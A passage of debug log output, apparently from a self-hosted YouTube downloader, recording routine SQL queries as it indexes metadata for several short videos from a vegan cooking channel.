Vegan/2022-05-23 The Greatest Food Combination Ever/The Greatest Food Combination Ever [70RJ3177osw].NA", "id" => "70RJ3177osw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/70RJ3177osw", "playlist_index" => 429, "timestamp" => 1653330607, "title" => "The Greatest Food Combination Ever", "upload_date" => "20220523"} 20:30:06.026 [debug] QUERY OK source="sources" db=4.1ms queue=0.1ms idle=1028.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:06.029 [debug] QUERY OK source="sources" db=0.6ms idle=1028.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:06.040 [debug] QUERY OK source="media_items" db=10.7ms idle=1022.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-23 18:30:07Z], 1] 20:30:06.061 [debug] QUERY OK source="media_items" db=2.4ms idle=1024.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you haven't tried this incredible food pairing of potato chips and chocolate then you must at least once in your life. In our full video we try 10 food pairings that the internet says are amazing and rate them on a weird and wacky 10 point scale. Some are absolutely disgusting and others are incredible and you must try at least once. \n\nFull Video: https://youtu.be/49F_nas-o7o", "The Greatest Food Combination Ever", "551af2bc-8a84-4d39-9f8d-7b6e654a5c73", 1, [], 15, false, "70RJ3177osw", "https://www.youtube.com/shorts/70RJ3177osw", 429, "/downloads/downloads/alec/Steamy Vegan/2022-05-23 The Greatest Food Combination Ever/The Greatest Food Combination Ever [70RJ3177osw].NA", false, false, true, 2, ~U[2022-05-23 18:30:07Z], ~U[2026-03-22 03:30:06Z], ~U[2026-03-22 03:30:06Z], "If you haven't tried this incredible food pairing of potato chips and chocolate then you must at least once in your life. In our full video we try 10 food pairings that the internet says are amazing and rate them on a weird and wacky 10 point scale. Some are absolutely disgusting and others are incredible and you must try at least once. \n\nFull Video: https://youtu.be/49F_nas-o7o", "The Greatest Food Combination Ever", 1, 15, false, "70RJ3177osw", "https://www.youtube.com/shorts/70RJ3177osw", "/downloads/downloads/alec/Steamy Vegan/2022-05-23 The Greatest Food Combination Ever/The Greatest Food Combination Ever [70RJ3177osw].NA", true, ~U[2022-05-23 18:30:07Z]] 20:30:06.062 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=450.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:06.064 [debug] QUERY OK source="media_profiles" db=0.5ms queue=1.2ms idle=36.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:06.066 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=37.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [818] 20:30:06.067 [debug] Current batch of media processed. Will check again in 1000ms 20:30:07.069 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This buddha bowl or nourish bowl as I like to call it is packed full of delicious nutrients to make you feel good and it's vegan and gluten-free. I have a full recipe video that shows how I like to make my nourish bowls, check it out below...\n\nFull Video: https://youtu.be/QwOW-lZ0uck", "duration" => 21, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-23 Healthy Superfood Nourish Bowl - Vegan and Gluten-Free #shorts/Healthy Superfood Nourish Bowl - Vegan and Gluten-Free #shorts [gPsXjz5Mu7A].NA", "id" => "gPsXjz5Mu7A", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/gPsXjz5Mu7A", "playlist_index" => 430, "timestamp" => 1653314418, "title" => "Healthy Superfood Nourish Bowl - Vegan and Gluten-Free #shorts", "upload_date" => "20220523"} 20:30:07.070 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1026.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:07.071 [debug] QUERY OK source="sources" db=0.9ms idle=1008.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:07.074 [debug] QUERY OK source="media_items" db=2.6ms idle=1007.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-23 14:00:18Z], 1] 20:30:07.076 [debug] QUERY OK source="media_items" db=1.0ms idle=1008.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This buddha bowl or nourish bowl as I like to call it is packed full of delicious nutrients to make you feel good and it's vegan and gluten-free. I have a full recipe video that shows how I like to make my nourish bowls, check it out below...\n\nFull Video: https://youtu.be/QwOW-lZ0uck", "Healthy Superfood Nourish Bowl - Vegan and Gluten-Free #shorts", "5bc6cdfc-7a6b-4cd8-ac9f-a0113058c624", 1, [], 21, false, "gPsXjz5Mu7A", "https://www.youtube.com/shorts/gPsXjz5Mu7A", 430, "/downloads/downloads/alec/Steamy Vegan/2022-05-23 Healthy Superfood Nourish Bowl - Vegan and Gluten-Free #shorts/Healthy Superfood Nourish Bowl - Vegan and Gluten-Free #shorts [gPsXjz5Mu7A].NA", false, false, true, 3, ~U[2022-05-23 14:00:18Z], ~U[2026-03-22 03:30:07Z], ~U[2026-03-22 03:30:07Z], "This buddha bowl or nourish bowl as I like to call it is packed full of delicious nutrients to make you feel good and it's vegan and gluten-free. I have a full recipe video that shows how I like to make my nourish bowls, check it out below...\n\nFull Video: https://youtu.be/QwOW-lZ0uck", "Healthy Superfood Nourish Bowl - Vegan and Gluten-Free #shorts", 1, 21, false, "gPsXjz5Mu7A", "https://www.youtube.com/shorts/gPsXjz5Mu7A", "/downloads/downloads/alec/Steamy Vegan/2022-05-23 Healthy Superfood Nourish Bowl - Vegan and Gluten-Free #shorts/Healthy Superfood Nourish Bowl - Vegan and Gluten-Free #shorts [gPsXjz5Mu7A].NA", true, ~U[2022-05-23 14:00:18Z]] 20:30:07.076 [debug] QUERY OK source="sources" db=0.3ms idle=462.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:07.077 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.2ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:07.078 [debug] QUERY OK source="media_items" db=0.5ms idle=6.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [819] 20:30:07.078 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "For many years I worked retail jobs and you definitely get customers like this. This ones for all of you working your butts off and having to deal with customers like this, I salute you!!!", "duration" => 19, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-22 How I Felt Every Day Working Retail #shorts/How I Felt Every Day Working Retail #shorts [UuZg8qc8boo].NA", "id" => "UuZg8qc8boo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/UuZg8qc8boo", "playlist_index" => 431, "timestamp" => 1653262202, "title" => "How I Felt Every Day Working Retail #shorts", "upload_date" => "20220522"} 20:30:07.080 [debug] QUERY OK source="sources" db=1.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:07.080 [debug] QUERY OK source="sources" db=0.2ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:07.083 [debug] QUERY OK source="media_items" db=2.3ms idle=4.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-22 23:30:02Z], 1] 20:30:07.084 [debug] QUERY OK source="media_items" db=1.0ms idle=5.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For many years I worked retail jobs and you definitely get customers like this. This ones for all of you working your butts off and having to deal with customers like this, I salute you!!!", "How I Felt Every Day Working Retail #shorts", "4101c075-76fb-4962-a0b8-e33c08b53fb7", 1, [], 19, false, "UuZg8qc8boo", "https://www.youtube.com/shorts/UuZg8qc8boo", 431, "/downloads/downloads/alec/Steamy Vegan/2022-05-22 How I Felt Every Day Working Retail #shorts/How I Felt Every Day Working Retail #shorts [UuZg8qc8boo].NA", false, false, true, 0, ~U[2022-05-22 23:30:02Z], ~U[2026-03-22 03:30:07Z], ~U[2026-03-22 03:30:07Z], "For many years I worked retail jobs and you definitely get customers like this. This ones for all of you working your butts off and having to deal with customers like this, I salute you!!!", "How I Felt Every Day Working Retail #shorts", 1, 19, false, "UuZg8qc8boo", "https://www.youtube.com/shorts/UuZg8qc8boo", "/downloads/downloads/alec/Steamy Vegan/2022-05-22 How I Felt Every Day Working Retail #shorts/How I Felt Every Day Working Retail #shorts [UuZg8qc8boo].NA", true, ~U[2022-05-22 23:30:02Z]] 20:30:07.085 [debug] QUERY OK source="sources" db=0.6ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:07.086 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:07.087 [debug] QUERY OK source="media_items" db=0.6ms idle=5.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [820] 20:30:07.087 [debug] Current batch of media processed. Will check again in 1000ms 20:30:08.089 [debug] Current batch of media processed. Will check again in 1000ms 20:30:09.090 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "These vegan foods I just couldn't live without and I eat them every week. So many of my vegan and gluten free recipes incorporate these. What are your must have foods that you buy every week from the grocery store? Leave your comments and don't forget to subscribe!", "duration" => 21, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-22 Top 10 Foods I Eat Every Week as a Vegan #shorts/Top 10 Foods I Eat Every Week as a Vegan #shorts [2n-EioT1oyA].NA", "id" => "2n-EioT1oyA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/2n-EioT1oyA", "playlist_index" => 432, "timestamp" => 1653245100, "title" => "Top 10 Foods I Eat Every Week as a Vegan #shorts", "upload_date" => "20220522"} 20:30:09.091 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=502.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:09.092 [debug] QUERY OK source="sources" db=0.5ms idle=503.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:09.095 [debug] QUERY OK source="media_items" db=2.8ms queue=0.1ms idle=504.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-22 18:45:00Z], 1] 20:30:09.097 [debug] QUERY OK source="media_items" db=1.0ms idle=507.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These vegan foods I just couldn't live without and I eat them every week. So many of my vegan and gluten free recipes incorporate these. What are your must have foods that you buy every week from the grocery store? Leave your comments and don't forget to subscribe!", "Top 10 Foods I Eat Every Week as a Vegan #shorts", "25caf4a8-3aed-456c-b77b-752324bfacb8", 1, [], 21, false, "2n-EioT1oyA", "https://www.youtube.com/shorts/2n-EioT1oyA", 432, "/downloads/downloads/alec/Steamy Vegan/2022-05-22 Top 10 Foods I Eat Every Week as a Vegan #shorts/Top 10 Foods I Eat Every Week as a Vegan #shorts [2n-EioT1oyA].NA", false, false, true, 1, ~U[2022-05-22 18:45:00Z], ~U[2026-03-22 03:30:09Z], ~U[2026-03-22 03:30:09Z], "These vegan foods I just couldn't live without and I eat them every week. So many of my vegan and gluten free recipes incorporate these. What are your must have foods that you buy every week from the grocery store? Leave your comments and don't forget to subscribe!", "Top 10 Foods I Eat Every Week as a Vegan #shorts", 1, 21, false, "2n-EioT1oyA", "https://www.youtube.com/shorts/2n-EioT1oyA", "/downloads/downloads/alec/Steamy Vegan/2022-05-22 Top 10 Foods I Eat Every Week as a Vegan #shorts/Top 10 Foods I Eat Every Week as a Vegan #shorts [2n-EioT1oyA].NA", true, ~U[2022-05-22 18:45:00Z]] 20:30:09.098 [debug] QUERY OK source="sources" db=0.7ms idle=474.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:09.099 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:09.100 [debug] QUERY OK source="media_items" db=0.3ms queue=0.3ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [821] 20:30:09.100 [debug] Current batch of media processed. Will check again in 1000ms 20:30:10.102 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nThese 7-INGREDIENT protein bars are melt-in-your-mouth, fudgey, decadent goodness without any refined sugars or unhealthy ingredients. Great as a post-workout snack or an anytime treat when you need a quick fudgey fix! \n\nWATCH THE FULL RECIPE VIDEO HERE: https://youtu.be/ZjO06fyfHLc\n\nMusic by Sonic Nothing - Blush - https://thmatc.co/?l=B94E51FA", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-22 7-INGREDIENT PROTEIN BARS ⧸⧸ Decadent but healthy! #shorts/7-INGREDIENT PROTEIN BARS ⧸⧸ Decadent but healthy! #shorts [ftkpAD_YrzA].NA", "id" => "ftkpAD_YrzA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/ftkpAD_YrzA", "playlist_index" => 433, "timestamp" => 1653233872, "title" => "7-INGREDIENT PROTEIN BARS // Decadent but healthy! #shorts", "upload_date" => "20220522"} 20:30:10.105 [debug] QUERY OK source="sources" db=1.3ms queue=1.0ms idle=1005.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:10.106 [debug] QUERY OK source="sources" db=0.5ms idle=1007.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", 